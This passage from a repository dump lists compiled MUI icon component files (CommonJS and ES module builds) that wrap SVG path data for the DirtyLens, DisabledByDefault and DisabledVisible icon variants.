    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 5h-3.17l-1.24-1.35c-.37-.41-.91-.65-1.47-.65H9.88c-.56 0-1.1.24-1.48.65L7.17 5H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2m-3.34 11.58c-1.14 1.86-3-1.03-3.81.09-.39.57-.09 1.49.13 2.33 0 .47-.38.85-.85.85s-.86-.38-.86-.85c.14-.98.42-2.05-.16-2.43-.89-.59-1.27 2.06-2.8 1.35-1.39-1.12 1.05-1.29.5-3.27-.22-.79-2.28.36-2.4-1.24-.08-1 1.49-.74 1.51-1.49.03-.75-1.03-1.05-.25-1.91.22-.24.71-.26.91-.19.79.27 1.55 1.82 2.51 1.19 1.03-.66-1.88-2.35 0-2.86 1.64-.44 1.31 2.08 2.65 2.44 1.94.52 2.65-4.55 4.41-2.33 1.85 2.33-3.43 2.27-2.85 4.01.34 1.01 2.15-1.2 2.76.53.64 1.83-3.09.82-3.04 1.66.06.83 2.41.55 1.64 2.12m1.48 1.43c-.47 0-.86-.38-.86-.86s.38-.86.86-.86c.47 0 .86.38.86.86s-.38.86-.86.86\"\n}), 'DirtyLensRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DirtyLensRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 5h-3.17l-1.24-1.35c-.37-.41-.91-.65-1.47-.65H9.88c-.56 0-1.1.24-1.48.65L7.17 5H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2m-3.34 11.58c-1.14 1.86-3-1.03-3.81.09-.39.57-.09 1.49.13 2.33 0 .47-.38.85-.85.85s-.86-.38-.86-.85c.14-.98.42-2.05-.16-2.43-.89-.59-1.27 2.06-2.8 1.35-1.39-1.12 1.05-1.29.5-3.27-.22-.79-2.28.36-2.4-1.24-.08-1 1.49-.74 1.51-1.49.03-.75-1.03-1.05-.25-1.91.22-.24.71-.26.91-.19.79.27 1.55 1.82 2.51 1.19 1.03-.66-1.88-2.35 0-2.86 1.64-.44 1.31 2.08 2.65 2.44 1.94.52 2.65-4.55 4.41-2.33 1.85 2.33-3.43 2.27-2.85 4.01.34 1.01 2.15-1.2 2.76.53.64 1.83-3.09.82-3.04 1.66.06.83 2.41.55 1.64 2.12m1.48 1.43c-.47 0-.86-.38-.86-.86s.38-.86.86-.86c.47 0 .86.38.86.86s-.38.86-.86.86\"\n}), 'DirtyLensRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DirtyLensSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 5h-5.17L15 3H9L7.17 5H2v16h20zm-5.34 11.58c-1.14 1.86-3-1.03-3.81.09-.39.57-.09 1.49.13 2.33 0 .47-.38.85-.85.85s-.86-.38-.86-.85c.14-.98.42-2.05-.16-2.43-.89-.59-1.27 2.06-2.8 1.35-1.39-1.12 1.05-1.29.5-3.27-.22-.79-2.28.36-2.4-1.24-.08-1 1.49-.74 1.51-1.49.03-.75-1.03-1.05-.25-1.91.22-.24.71-.26.91-.19.79.27 1.55 1.82 2.51 1.19 1.03-.66-1.88-2.35 0-2.86 1.64-.44 1.31 2.08 2.65 2.44 1.94.52 2.65-4.55 4.41-2.33 1.85 2.33-3.43 2.27-2.85 4.01.34 1.01 2.15-1.2 2.76.53.64 1.83-3.09.82-3.04 1.66.06.83 2.41.55 1.64 2.12m1.48 1.43c-.47 0-.86-.38-.86-.86s.38-.86.86-.86c.47 0 .86.38.86.86s-.38.86-.86.86\"\n}), 'DirtyLensSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DirtyLensSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 5h-5.17L15 3H9L7.17 5H2v16h20zm-5.34 11.58c-1.14 1.86-3-1.03-3.81.09-.39.57-.09 1.49.13 2.33 0 .47-.38.85-.85.85s-.86-.38-.86-.85c.14-.98.42-2.05-.16-2.43-.89-.59-1.27 2.06-2.8 1.35-1.39-1.12 1.05-1.29.5-3.27-.22-.79-2.28.36-2.4-1.24-.08-1 1.49-.74 1.51-1.49.03-.75-1.03-1.05-.25-1.91.22-.24.71-.26.91-.19.79.27 1.55 1.82 2.51 1.19 1.03-.66-1.88-2.35 0-2.86 1.64-.44 1.31 2.08 2.65 2.44 1.94.52 2.65-4.55 4.41-2.33 1.85 2.33-3.43 2.27-2.85 4.01.34 1.01 2.15-1.2 2.76.53.64 1.83-3.09.82-3.04 1.66.06.83 2.41.55 1.64 2.12m1.48 1.43c-.47 0-.86-.38-.86-.86s.38-.86.86-.86c.47 0 .86.38.86.86s-.38.86-.86.86\"\n}), 'DirtyLensSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DirtyLensTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.12 5H9.88L8.05 7H4v12h7.27c.14-.98.42-2.05-.16-2.43-.89-.59-1.27 2.06-2.8 1.35-1.39-1.12 1.05-1.29.5-3.27-.22-.79-2.28.36-2.4-1.24-.08-1 1.49-.74 1.51-1.49.03-.75-1.03-1.05-.25-1.91.22-.24.71-.26.91-.19.79.27 1.55 1.82 2.51 1.19 1.03-.66-1.88-2.35 0-2.86 1.64-.44 1.31 2.08 2.65 2.44 1.94.52 2.65-4.55 4.41-2.33 1.85 2.33-3.43 2.27-2.85 4.01.34 1.01 2.15-1.2 2.76.53.64 1.83-3.09.82-3.04 1.66.06.83 2.41.55 1.64 2.12-1.14 1.86-3-1.03-3.81.09-.39.57-.09 1.49.13 2.33H20V7h-4.05zM19 17.15c0 .48-.38.86-.86.86-.47 0-.86-.38-.86-.86s.38-.86.86-.86c.47 0 .86.38.86.86\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 5h-3.17L15 3H9L7.17 5H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2m0 14h-7.02c-.22-.84-.52-1.76-.13-2.33.81-1.12 2.67 1.77 3.81-.09.77-1.57-1.58-1.29-1.64-2.12-.05-.84 3.68.17 3.04-1.66-.61-1.73-2.42.48-2.76-.53-.58-1.74 4.7-1.68 2.85-4.01-1.76-2.22-2.47 2.85-4.41 2.33-1.34-.36-1.01-2.88-2.65-2.44-1.88.51 1.03 2.2 0 2.86-.96.63-1.72-.92-2.51-1.19-.2-.07-.69-.05-.91.19-.78.86.28 1.16.25 1.91-.02.75-1.59.49-1.51 1.49.12 1.6 2.18.45 2.4 1.24.55 1.98-1.89 2.15-.5 3.27 1.53.71 1.91-1.94 2.8-1.35.58.38.3 1.45.16 2.43H4V7h4.05l1.83-2h4.24l1.83 2H20z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.28 17.15c0 .48.39.86.86.86.48 0 .86-.38.86-.86s-.39-.86-.86-.86c-.48 0-.86.38-.86.86\"\n}, \"2\")], 'DirtyLensTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DirtyLensTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.12 5H9.88L8.05 7H4v12h7.27c.14-.98.42-2.05-.16-2.43-.89-.59-1.27 2.06-2.8 1.35-1.39-1.12 1.05-1.29.5-3.27-.22-.79-2.28.36-2.4-1.24-.08-1 1.49-.74 1.51-1.49.03-.75-1.03-1.05-.25-1.91.22-.24.71-.26.91-.19.79.27 1.55 1.82 2.51 1.19 1.03-.66-1.88-2.35 0-2.86 1.64-.44 1.31 2.08 2.65 2.44 1.94.52 2.65-4.55 4.41-2.33 1.85 2.33-3.43 2.27-2.85 4.01.34 1.01 2.15-1.2 2.76.53.64 1.83-3.09.82-3.04 1.66.06.83 2.41.55 1.64 2.12-1.14 1.86-3-1.03-3.81.09-.39.57-.09 1.49.13 2.33H20V7h-4.05zM19 17.15c0 .48-.38.86-.86.86-.47 0-.86-.38-.86-.86s.38-.86.86-.86c.47 0 .86.38.86.86\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 5h-3.17L15 3H9L7.17 5H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2m0 14h-7.02c-.22-.84-.52-1.76-.13-2.33.81-1.12 2.67 1.77 3.81-.09.77-1.57-1.58-1.29-1.64-2.12-.05-.84 3.68.17 3.04-1.66-.61-1.73-2.42.48-2.76-.53-.58-1.74 4.7-1.68 2.85-4.01-1.76-2.22-2.47 2.85-4.41 2.33-1.34-.36-1.01-2.88-2.65-2.44-1.88.51 1.03 2.2 0 2.86-.96.63-1.72-.92-2.51-1.19-.2-.07-.69-.05-.91.19-.78.86.28 1.16.25 1.91-.02.75-1.59.49-1.51 1.49.12 1.6 2.18.45 2.4 1.24.55 1.98-1.89 2.15-.5 3.27 1.53.71 1.91-1.94 2.8-1.35.58.38.3 1.45.16 2.43H4V7h4.05l1.83-2h4.24l1.83 2H20z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.28 17.15c0 .48.39.86.86.86.48 0 .86-.38.86-.86s-.39-.86-.86-.86c-.48 0-.86.38-.86.86\"\n}, \"2\")], 'DirtyLensTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DisabledByDefault.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 3v18h18V3zm14 12.59L15.59 17 12 13.41 8.41 17 7 15.59 10.59 12 7 8.41 8.41 7 12 10.59 15.59 7 17 8.41 13.41 12z\"\n}), 'DisabledByDefault');"
  },
  {
    "path": "packages/mui-icons-material/lib/DisabledByDefault.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 3v18h18V3zm14 12.59L15.59 17 12 13.41 8.41 17 7 15.59 10.59 12 7 8.41 8.41 7 12 10.59 15.59 7 17 8.41 13.41 12z\"\n}), 'DisabledByDefault');"
  },
  {
    "path": "packages/mui-icons-material/lib/DisabledByDefaultOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 19H5V5h14zM3 3v18h18V3zm14 12.59L15.59 17 12 13.41 8.41 17 7 15.59 10.59 12 7 8.41 8.41 7 12 10.59 15.59 7 17 8.41 13.41 12z\"\n}), 'DisabledByDefaultOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DisabledByDefaultOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 19H5V5h14zM3 3v18h18V3zm14 12.59L15.59 17 12 13.41 8.41 17 7 15.59 10.59 12 7 8.41 8.41 7 12 10.59 15.59 7 17 8.41 13.41 12z\"\n}), 'DisabledByDefaultOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DisabledByDefaultRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 5v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2H5c-1.1 0-2 .9-2 2m13.3 11.29c-.39.39-1.02.39-1.41 0L12 13.41 9.11 16.3c-.39.39-1.02.39-1.41 0a.996.996 0 0 1 0-1.41L10.59 12 7.7 9.11a.996.996 0 0 1 0-1.41c.39-.39 1.02-.39 1.41 0L12 10.59l2.89-2.88c.39-.39 1.02-.39 1.41 0s.39 1.02 0 1.41L13.41 12l2.89 2.88c.38.39.38 1.03 0 1.41\"\n}), 'DisabledByDefaultRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DisabledByDefaultRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 5v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2H5c-1.1 0-2 .9-2 2m13.3 11.29c-.39.39-1.02.39-1.41 0L12 13.41 9.11 16.3c-.39.39-1.02.39-1.41 0a.996.996 0 0 1 0-1.41L10.59 12 7.7 9.11a.996.996 0 0 1 0-1.41c.39-.39 1.02-.39 1.41 0L12 10.59l2.89-2.88c.39-.39 1.02-.39 1.41 0s.39 1.02 0 1.41L13.41 12l2.89 2.88c.38.39.38 1.03 0 1.41\"\n}), 'DisabledByDefaultRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DisabledByDefaultSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 3v18h18V3zm14 12.59L15.59 17 12 13.41 8.41 17 7 15.59 10.59 12 7 8.41 8.41 7 12 10.59 15.59 7 17 8.41 13.41 12z\"\n}), 'DisabledByDefaultSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DisabledByDefaultSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 3v18h18V3zm14 12.59L15.59 17 12 13.41 8.41 17 7 15.59 10.59 12 7 8.41 8.41 7 12 10.59 15.59 7 17 8.41 13.41 12z\"\n}), 'DisabledByDefaultSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DisabledByDefaultTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 5v14h14V5zm12 10.59L15.59 17 12 13.41 8.41 17 7 15.59 10.59 12 7 8.41 8.41 7 12 10.59 15.59 7 17 8.41 13.41 12z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 19H5V5h14zM3 3v18h18V3zm14 12.59L15.59 17 12 13.41 8.41 17 7 15.59 10.59 12 7 8.41 8.41 7 12 10.59 15.59 7 17 8.41 13.41 12z\"\n}, \"1\")], 'DisabledByDefaultTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DisabledByDefaultTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 5v14h14V5zm12 10.59L15.59 17 12 13.41 8.41 17 7 15.59 10.59 12 7 8.41 8.41 7 12 10.59 15.59 7 17 8.41 13.41 12z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 19H5V5h14zM3 3v18h18V3zm14 12.59L15.59 17 12 13.41 8.41 17 7 15.59 10.59 12 7 8.41 8.41 7 12 10.59 15.59 7 17 8.41 13.41 12z\"\n}, \"1\")], 'DisabledByDefaultTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DisabledVisible.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.99 12.34c.01-.11.01-.23.01-.34 0-5.52-4.48-10-10-10S2 6.48 2 12c0 5.17 3.93 9.43 8.96 9.95-.93-.73-1.72-1.64-2.32-2.68C5.9 18 4 15.22 4 12c0-1.85.63-3.55 1.69-4.9l5.66 5.66c.56-.4 1.17-.73 1.82-1L7.1 5.69C8.45 4.63 10.15 4 12 4c4.24 0 7.7 3.29 7.98 7.45.71.22 1.39.52 2.01.89M17 13c-3.18 0-5.9 1.87-7 4.5 1.1 2.63 3.82 4.5 7 4.5s5.9-1.87 7-4.5c-1.1-2.63-3.82-4.5-7-4.5m0 7c-1.38 0-2.5-1.12-2.5-2.5S15.62 15 17 15s2.5 1.12 2.5 2.5S18.38 20 17 20m1.5-2.5c0 .83-.67 1.5-1.5 1.5s-1.5-.67-1.5-1.5.67-1.5 1.5-1.5 1.5.67 1.5 1.5\"\n}), 'DisabledVisible');"
  },
  {
    "path": "packages/mui-icons-material/lib/DisabledVisible.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.99 12.34c.01-.11.01-.23.01-.34 0-5.52-4.48-10-10-10S2 6.48 2 12c0 5.17 3.93 9.43 8.96 9.95-.93-.73-1.72-1.64-2.32-2.68C5.9 18 4 15.22 4 12c0-1.85.63-3.55 1.69-4.9l5.66 5.66c.56-.4 1.17-.73 1.82-1L7.1 5.69C8.45 4.63 10.15 4 12 4c4.24 0 7.7 3.29 7.98 7.45.71.22 1.39.52 2.01.89M17 13c-3.18 0-5.9 1.87-7 4.5 1.1 2.63 3.82 4.5 7 4.5s5.9-1.87 7-4.5c-1.1-2.63-3.82-4.5-7-4.5m0 7c-1.38 0-2.5-1.12-2.5-2.5S15.62 15 17 15s2.5 1.12 2.5 2.5S18.38 20 17 20m1.5-2.5c0 .83-.67 1.5-1.5 1.5s-1.5-.67-1.5-1.5.67-1.5 1.5-1.5 1.5.67 1.5 1.5\"\n}), 'DisabledVisible');"
  },
  {
    "path": "packages/mui-icons-material/lib/DisabledVisibleOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 15c1.95 0 3.76.98 4.75 2.5-.99 1.52-2.8 2.5-4.75 2.5s-3.76-.98-4.75-2.5c.99-1.52 2.8-2.5 4.75-2.5m0-2c-3.18 0-5.9 1.87-7 4.5 1.1 2.63 3.82 4.5 7 4.5s5.9-1.87 7-4.5c-1.1-2.63-3.82-4.5-7-4.5m0 6c-.83 0-1.5-.67-1.5-1.5S16.17 16 17 16s1.5.67 1.5 1.5S17.83 19 17 19m4.99-6.66c.01-.11.01-.23.01-.34 0-5.52-4.48-10-10-10S2 6.48 2 12c0 5.17 3.93 9.43 8.96 9.95-.93-.73-1.72-1.64-2.32-2.68C5.9 18 4 15.22 4 12c0-1.85.63-3.55 1.69-4.9l5.66 5.66c.56-.4 1.17-.73 1.82-1L7.1 5.69C8.45 4.63 10.15 4 12 4c4.24 0 7.7 3.29 7.98 7.45.71.22 1.39.52 2.01.89\"\n}), 'DisabledVisibleOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DisabledVisibleOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 15c1.95 0 3.76.98 4.75 2.5-.99 1.52-2.8 2.5-4.75 2.5s-3.76-.98-4.75-2.5c.99-1.52 2.8-2.5 4.75-2.5m0-2c-3.18 0-5.9 1.87-7 4.5 1.1 2.63 3.82 4.5 7 4.5s5.9-1.87 7-4.5c-1.1-2.63-3.82-4.5-7-4.5m0 6c-.83 0-1.5-.67-1.5-1.5S16.17 16 17 16s1.5.67 1.5 1.5S17.83 19 17 19m4.99-6.66c.01-.11.01-.23.01-.34 0-5.52-4.48-10-10-10S2 6.48 2 12c0 5.17 3.93 9.43 8.96 9.95-.93-.73-1.72-1.64-2.32-2.68C5.9 18 4 15.22 4 12c0-1.85.63-3.55 1.69-4.9l5.66 5.66c.56-.4 1.17-.73 1.82-1L7.1 5.69C8.45 4.63 10.15 4 12 4c4.24 0 7.7 3.29 7.98 7.45.71.22 1.39.52 2.01.89\"\n}), 'DisabledVisibleOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DisabledVisibleRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.99 12.34c.01-.11.01-.23.01-.34 0-5.52-4.48-10-10-10S2 6.48 2 12c0 5.17 3.93 9.43 8.96 9.95-.93-.73-1.72-1.64-2.32-2.68C5.9 18 4 15.22 4 12c0-1.85.63-3.55 1.69-4.9l5.66 5.66c.56-.4 1.17-.73 1.82-1L7.1 5.69C8.45 4.63 10.15 4 12 4c4.24 0 7.7 3.29 7.98 7.45.71.22 1.39.52 2.01.89M17 13c-3.18 0-5.9 1.87-7 4.5 1.1 2.63 3.82 4.5 7 4.5s5.9-1.87 7-4.5c-1.1-2.63-3.82-4.5-7-4.5m0 7c-1.38 0-2.5-1.12-2.5-2.5S15.62 15 17 15s2.5 1.12 2.5 2.5S18.38 20 17 20m1.5-2.5c0 .83-.67 1.5-1.5 1.5s-1.5-.67-1.5-1.5.67-1.5 1.5-1.5 1.5.67 1.5 1.5\"\n}), 'DisabledVisibleRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DisabledVisibleRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.99 12.34c.01-.11.01-.23.01-.34 0-5.52-4.48-10-10-10S2 6.48 2 12c0 5.17 3.93 9.43 8.96 9.95-.93-.73-1.72-1.64-2.32-2.68C5.9 18 4 15.22 4 12c0-1.85.63-3.55 1.69-4.9l5.66 5.66c.56-.4 1.17-.73 1.82-1L7.1 5.69C8.45 4.63 10.15 4 12 4c4.24 0 7.7 3.29 7.98 7.45.71.22 1.39.52 2.01.89M17 13c-3.18 0-5.9 1.87-7 4.5 1.1 2.63 3.82 4.5 7 4.5s5.9-1.87 7-4.5c-1.1-2.63-3.82-4.5-7-4.5m0 7c-1.38 0-2.5-1.12-2.5-2.5S15.62 15 17 15s2.5 1.12 2.5 2.5S18.38 20 17 20m1.5-2.5c0 .83-.67 1.5-1.5 1.5s-1.5-.67-1.5-1.5.67-1.5 1.5-1.5 1.5.67 1.5 1.5\"\n}), 'DisabledVisibleRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DisabledVisibleSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.99 12.34c.01-.11.01-.23.01-.34 0-5.52-4.48-10-10-10S2 6.48 2 12c0 5.17 3.93 9.43 8.96 9.95-.93-.73-1.72-1.64-2.32-2.68C5.9 18 4 15.22 4 12c0-1.85.63-3.55 1.69-4.9l5.66 5.66c.56-.4 1.17-.73 1.82-1L7.1 5.69C8.45 4.63 10.15 4 12 4c4.24 0 7.7 3.29 7.98 7.45.71.22 1.39.52 2.01.89M17 13c-3.18 0-5.9 1.87-7 4.5 1.1 2.63 3.82 4.5 7 4.5s5.9-1.87 7-4.5c-1.1-2.63-3.82-4.5-7-4.5m0 7c-1.38 0-2.5-1.12-2.5-2.5S15.62 15 17 15s2.5 1.12 2.5 2.5S18.38 20 17 20m1.5-2.5c0 .83-.67 1.5-1.5 1.5s-1.5-.67-1.5-1.5.67-1.5 1.5-1.5 1.5.67 1.5 1.5\"\n}), 'DisabledVisibleSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DisabledVisibleSharp.mjs",
